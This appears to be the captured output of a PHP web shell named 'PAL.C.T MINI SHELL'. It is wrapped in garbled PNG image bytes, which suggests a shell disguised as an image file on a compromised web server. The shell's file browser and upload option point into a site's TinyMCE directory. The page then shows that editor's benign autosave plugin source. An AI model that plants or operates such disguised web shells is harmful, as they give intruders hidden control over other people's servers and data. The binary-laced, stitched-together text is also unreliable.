php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/tinymcpuk/jscripts/tiny_mce/plugins/autosave/
upload
files >> //var/www/html/tinymcpuk/jscripts/tiny_mce/plugins/autosave/editor_plugin_src.js

/**

 * editor_plugin_src.js

 *

 * Copyright 2009, Moxiecode Systems AB

 * Released under LGPL License.

 *

 * License: http://tinymce.moxiecode.com/license

 * Contributing: http://tinymce.moxiecode.com/contributing

 *

 * Adds auto-save capability to the TinyMCE text editor to rescue content

 * inadvertently lost. This plugin was originally developed by Speednet

 * and that project can be found here: http://code.google.com/p/tinyautosave/

 *

 * TECHNOLOGY DISCUSSION:

 * 

 * The plugin attempts to use the most advanced features available in the current browser to save

 * as much content as possible.  There are a total of four different methods used to autosave the

 * content.  In order of preference, they are:

 * 

 * 1. localStorage - A new feature of HTML 5, localStorage can store megabytes of data per domain

 * on the client computer. Data stored in the localStorage area has no expiration date, so we must

 * manage expiring the data ourselves.  localStorage is fully supported by IE8, and it is supposed

 * to be working in Firefox 3 and Safari 3.2, but in reality is is flaky in those browsers.  As

 * HTML 5 gets wider support, the AutoSave plugin will use it automatically. In Windows Vista/7,

 * localStorage is stored in the following folder:

 * C:\Users\[username]\AppData\Local\Microsoft\Internet Explorer\DOMStore\[tempFolder]

 * 

 * 2. sessionStorage - A new feature of HTML 5, sessionStorage works similarly to localStorage,

 * except it is designed to expire after a certain amount of time.  Because the specification

 * around expiration date/time is very loosely-described, it is preferrable to use locaStorage and

 * manage the expiration ourselves.  sessionStorage has similar storage characteristics to

 * localStorage, although it seems to have better support by Firefox 3 at the moment.  (That will

 * certainly change as Firefox continues getting better at HTML 5 adoption.)

 * 

 * 3. UserData - A very under-exploited feature of Microsoft Internet Explorer, UserData is a

 * way to store up to 128K of data per "document", or up to 1MB of data per domain, on the client

 * computer.  The feature is available for IE 5+, which makes it available for every version of IE

 * supported by TinyMCE.  The content is persistent across browser restarts and expires on the

 * date/time specified, just like a cookie.  However, the data is not cleared when the user clears

 * cookies on the browser, which makes it well-suited for rescuing autosaved content.  UserData,

 * like other Microsoft IE browser technologies, is implemented as a behavior attached to a

 * specific DOM object, so in this case we attach the behavior to the same DOM element that the

 * TinyMCE editor instance is attached to.

 */



(function(tinymce) {

	// Setup constants to help the compressor to reduce script size

	var PLUGIN_NAME = 'autosave',

		RESTORE_DRAFT = 'restoredraft',

		TRUE = true,

		undefined,

		unloadHandlerAdded,

		Dispatcher = tinymce.util.Dispatcher;



	/**

	 * This plugin adds auto-save capability to the TinyMCE text editor to rescue content

	 * inadvertently lost. By using localStorage.

	 *

	 * @class tinymce.plugins.AutoSave

	 */

	tinymce.create('tinymce.plugins.AutoSave', {

		/**

		 * Initializes the plugin, this will be executed after the plugin has been created.

		 * This call is done before the editor instance has finished it's initialization so use the onInit event

		 * of the editor instance to intercept that event.

		 *

		 * @method init

		 * @param {tinymce.Editor} ed Editor instance that the plugin is initialized in.

		 * @param {string} url Absolute URL to where the plugin is located.

		 */

		init : function(ed, url) {

			var self = this, settings = ed.settings;



			self.editor = ed;



			// Parses the specified time string into a milisecond number 10m, 10s etc.

			function parseTime(time) {

				var multipels = {

					s : 1000,

					m : 60000

				};



				time = /^(\d+)([ms]?)$/.exec('' + time);



				return (time[2] ? multipels[time[2]] : 1) * parseInt(time);

			};



			// Default config

			tinymce.each({

				ask_before_unload : TRUE,

				interval : '30s',

				retention : '20m',

				minlength : 50

			}, function(value, key) {

				key = PLUGIN_NAME + '_' + key;



				if (settings[key] === undefined)

					settings[key] = value;

			});



			// Parse times

			settings.autosave_interval = parseTime(settings.autosave_interval);

			settings.autosave_retention = parseTime(settings.autosave_retention);



			// Register restore button

			ed.addButton(RESTORE_DRAFT, {

				title : PLUGIN_NAME + ".restore_content",

				onclick : function() {

					if (ed.getContent({draft: true}).replace(/\s|&nbsp;|<\/?p[^>]*>|<br[^>]*>/gi, "").length > 0) {

						// Show confirm dialog if the editor isn't empty

						ed.windowManager.confirm(

							PLUGIN_NAME + ".warning_message",

							function(ok) {

								if (ok)

									self.restoreDraft();

							}

						);

					} else

						self.restoreDraft();

				}

			});



			// Enable/disable restoredraft button depending on if there is a draft stored or not

			ed.onNodeChange.add(function() {

				var controlManager = ed.controlManager;



				if (controlManager.get(RESTORE_DRAFT))

					controlManager.setDisabled(RESTORE_DRAFT, !self.hasDraft());

			});



			ed.onInit.add(function() {

				// Check if the user added the restore button, then setup auto storage logic

				if (ed.controlManager.get(RESTORE_DRAFT)) {

					// Setup storage engine

					self.setupStorage(ed);



					// Auto save contents each interval time

					setInterval(function() {

						self.storeDraft();

						ed.nodeChanged();

					}, settings.autosave_interval);

				}

			});



			/**

			 * This event gets fired when a draft is stored to local storage.

			 *

			 * @event onStoreDraft

			 * @param {tinymce.plugins.AutoSave} sender Plugin instance sending the event.

			 * @param {Object} draft Draft object containing the HTML contents of the editor.

			 */

			self.onStoreDraft = new Dispatcher(self);



			/**

			 * This event gets fired when a draft is restored from local storage.

			 *

			 * @event onStoreDraft

			 * @param {tinymce.plugins.AutoSave} sender Plugin instance sending the event.

			 * @param {Object} draft Draft object containing the HTML contents of the editor.

			 */

			self.onRestoreDraft = new Dispatcher(self);



			/**

			 * This event gets fired when a draft removed/expired.

			 *

			 * @event onRemoveDraft

			 * @param {tinymce.plugins.AutoSave} sender Plugin instance sending the event.

			 * @param {Object} draft Draft object containing the HTML contents of the editor.

			 */

			self.onRemoveDraft = new Dispatcher(self);



			// Add ask before unload dialog only add one unload handler

			if (!unloadHandlerAdded) {

				window.onbeforeunload = tinymce.plugins.AutoSave._beforeUnloadHandler;

				unloadHandlerAdded = TRUE;

			}

		},



		/**

		 * Returns information about the plugin as a name/value array.

		 * The current keys are longname, author, authorurl, infourl and version.

		 *

		 * @method getInfo

		 * @return {Object} Name/value array containing information about the plugin.

		 */

		getInfo : function() {

			return {

				longname : 'Auto save',

				author : 'Moxiecode Systems AB',

				authorurl : 'http://tinymce.moxiecode.com',

				infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/autosave',

				version : tinymce.majorVersion + "." + tinymce.minorVersion

			};

		},



		/**

		 * Returns an expiration date UTC string.

		 *

		 * @method getExpDate

		 * @return {String} Expiration date UTC string.

		 */

		getExpDate : function() {

			return new Date(

				new Date().getTime() + this.editor.settings.autosave_retention

			).toUTCString();

		},



		/**

		 * This method will setup the storage engine. If the browser has support for it.

		 *

		 * @method setupStorage

		 */

		setupStorage : function(ed) {

			var self = this, testKey = PLUGIN_NAME + '_test', testVal = "OK";



			self.key = PLUGIN_NAME + ed.id;



			// Loop though each storage engine type until we find one that works

			tinymce.each([

				function() {

					// Try HTML5 Local Storage

					if (localStorage) {

						localStorage.setItem(testKey, testVal);



						if (localStorage.getItem(testKey) === testVal) {

							localStorage.removeItem(testKey);



							return localStorage;

						}

					}

				},



				function() {

					// Try HTML5 Session Storage

					if (sessionStorage) {

						sessionStorage.setItem(testKey, testVal);



						if (sessionStorage.getItem(testKey) === testVal) {

							sessionStorage.removeItem(testKey);



							return sessionStorage;

						}

					}

				},



				function() {

					// Try IE userData

					if (tinymce.isIE) {

						ed.getElement().style.behavior = "url('#default#userData')";



						// Fake localStorage on old IE

						return {

							autoExpires : TRUE,



							setItem : function(key, value) {

								var userDataElement = ed.getElement();



								userDataElement.setAttribute(key, value);

								userDataElement.expires = self.getExpDate();



								try {

									userDataElement.save("TinyMCE");

								} catch (e) {

									// Ignore, saving might fail if "Userdata Persistence" is disabled in IE

								}

							},



							getItem : function(key) {

								var userDataElement = ed.getElement();



								try {

									userDataElement.load("TinyMCE");

									return userDataElement.getAttribute(key);

								} catch (e) {

									// Ignore, loading might fail if "Userdata Persistence" is disabled in IE

									return null;

								}

							},



							removeItem : function(key) {

								ed.getElement().removeAttribute(key);

							}

						};

					}

				},

			], function(setup) {

				// Try executing each function to find a suitable storage engine

				try {

					self.storage = setup();



					if (self.storage)

						return false;

				} catch (e) {

					// Ignore

				}

			});

		},



		/**

		 * This method will store the current contents in the the storage engine.

		 *

		 * @method storeDraft

		 */

		storeDraft : function() {

			var self = this, storage = self.storage, editor = self.editor, expires, content;



			// Is the contents dirty

			if (storage) {

				// If there is no existing key and the contents hasn't been changed since

				// it's original value then there is no point in saving a draft

				if (!storage.getItem(self.key) && !editor.isDirty())

					return;



				// Store contents if the contents if longer than the minlength of characters

				content = editor.getContent({draft: true});

				if (content.length > editor.settings.autosave_minlength) {

					expires = self.getExpDate();



					// Store expiration date if needed IE userData has auto expire built in

					if (!self.storage.autoExpires)

						self.storage.setItem(self.key + "_expires", expires);



					self.storage.setItem(self.key, content);

					self.onStoreDraft.dispatch(self, {

						expires : expires,

						content : content

					});

				}

			}

		},



		/**

		 * This method will restore the contents from the storage engine back to the editor.

		 *

		 * @method restoreDraft

		 */

		restoreDraft : function() {

			var self = this, storage = self.storage, content;



			if (storage) {

				content = storage.getItem(self.key);



				if (content) {

					self.editor.setContent(content);

					self.onRestoreDraft.dispatch(self, {

						content : content

					});

				}

			}

		},



		/**

		 * This method will return true/false if there is a local storage draft available.

		 *

		 * @method hasDraft

		 * @return {boolean} true/false state if there is a local draft.

		 */

		hasDraft : function() {

			var self = this, storage = self.storage, expDate, exists;



			if (storage) {

				// Does the item exist at all

				exists = !!storage.getItem(self.key);

				if (exists) {

					// Storage needs autoexpire

					if (!self.storage.autoExpires) {

						expDate = new Date(storage.getItem(self.key + "_expires"));



						// Contents hasn't expired

						if (new Date().getTime() < expDate.getTime())

							return TRUE;



						// Remove it if it has

						self.removeDraft();

					} else

						return TRUE;

				}

			}



			return false;

		},



		/**

		 * Removes the currently stored draft.

		 *

		 * @method removeDraft

		 */

		removeDraft : function() {

			var self = this, storage = self.storage, key = self.key, content;



			if (storage) {

				// Get current contents and remove the existing draft

				content = storage.getItem(key);

				storage.removeItem(key);

				storage.removeItem(key + "_expires");



				// Dispatch remove event if we had any contents

				if (content) {

					self.onRemoveDraft.dispatch(self, {

						content : content

					});

				}

			}

		},



		"static" : {

			// Internal unload handler will be called before the page is unloaded

			_beforeUnloadHandler : function(e) {

				var msg;



				tinymce.each(tinyMCE.editors, function(ed) {

					// Store a draft for each editor instance

					if (ed.plugins.autosave)

						ed.plugins.autosave.storeDraft();



					// Never ask in fullscreen mode

					if (ed.getParam("fullscreen_is_enabled"))

						return;



					// Setup a return message if the editor is dirty

					if (!msg && ed.isDirty() && ed.getParam("autosave_ask_before_unload"))

						msg = ed.getLang("autosave.unload_msg");

				});



				return msg;

			}

		}

	});



	tinymce.PluginManager.add('autosave', tinymce.plugins.AutoSave);

})(tinymce);

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`